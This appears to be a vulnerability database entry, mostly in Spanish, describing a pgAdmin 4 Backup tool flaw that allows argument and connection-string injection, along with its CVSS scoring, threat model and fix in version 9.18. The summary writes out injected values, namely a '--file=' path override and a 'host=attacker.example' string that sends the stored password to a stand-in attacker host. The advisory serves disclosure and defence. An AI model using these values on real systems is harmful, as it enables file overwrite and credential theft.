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pgAdmin 4

CVE-2026-86864

pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool

Parche disponibleargument injection
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CVSS 3.1
8.8
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Fuente: CNA
ExplotaciónSin evidenciaSSVC: none · no figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión9.18
Exposición62 dDesde la divulgación, 17 sept 2026, 10:31 a. m.
Detección60 dDesde la divulgación hasta su ingreso al índice
Decisión SSVCSeguir de cerca
Monitorear y programar la remediación
Sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +2
Explotación
Remediación
Monitoreo
Detectada
17 sept 26
17 nov 26
19 nov 26
17 sept 26
3 oct 26
19 oct 26
3 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada CVE-2026-86864 divulgada · CVSS 8.8 (CNA)
Divulgación Evaluación SSVC CISA-ADP · explotación ninguna
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · CNA
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
pgAdmin 4< 9.18
9.18
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pgAdmin
Corregida 9.18 — —
Versiones corregidas9.18
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Registro
EscenarioThreat model: an authenticated pgAdmin user holding the tools_backup permission, which the default User role grants, and with a connected server. Submitting a crafted 'database' value is a single ordinary request requiring no victim interaction, so Attack Complexity is Low and User Interaction is None. Integrity and Availability are High because the attacker obtains arbitrary file creation and overwrite as the account running pgAdmin, which includes pgAdmin's own configuration database. Confidentiality is High because the connection-string variant delivers the decrypted stored database password to an endpoint the attacker selects; this is most significant where the password is supplied by a password execution command and is therefore never known to the user. Scope is Unchanged: the writes and the credential are performed with, and belong to, the authority pgAdmin already holds, and no direct code execution is demonstrated, which is why this is scored below an equivalent flaw yielding command execution outright.PostgreSQL
EscenarioSame reasoning as the CVSS 3.1 entry: a low-privilege authenticated user achieves arbitrary file write as the pgAdmin operating-system account and can redirect the utility connection to capture the stored database credential. VC:H/VI:H/VA:H reflect credential disclosure, arbitrary overwrite, and destruction of pgAdmin's own data. SC:N/SI:N/SA:N because the consequences remain within the authority pgAdmin already exercises.PostgreSQL
Referencias
Reportehttps://github.com/pgadmin-org/pgadmin4/issues/10384

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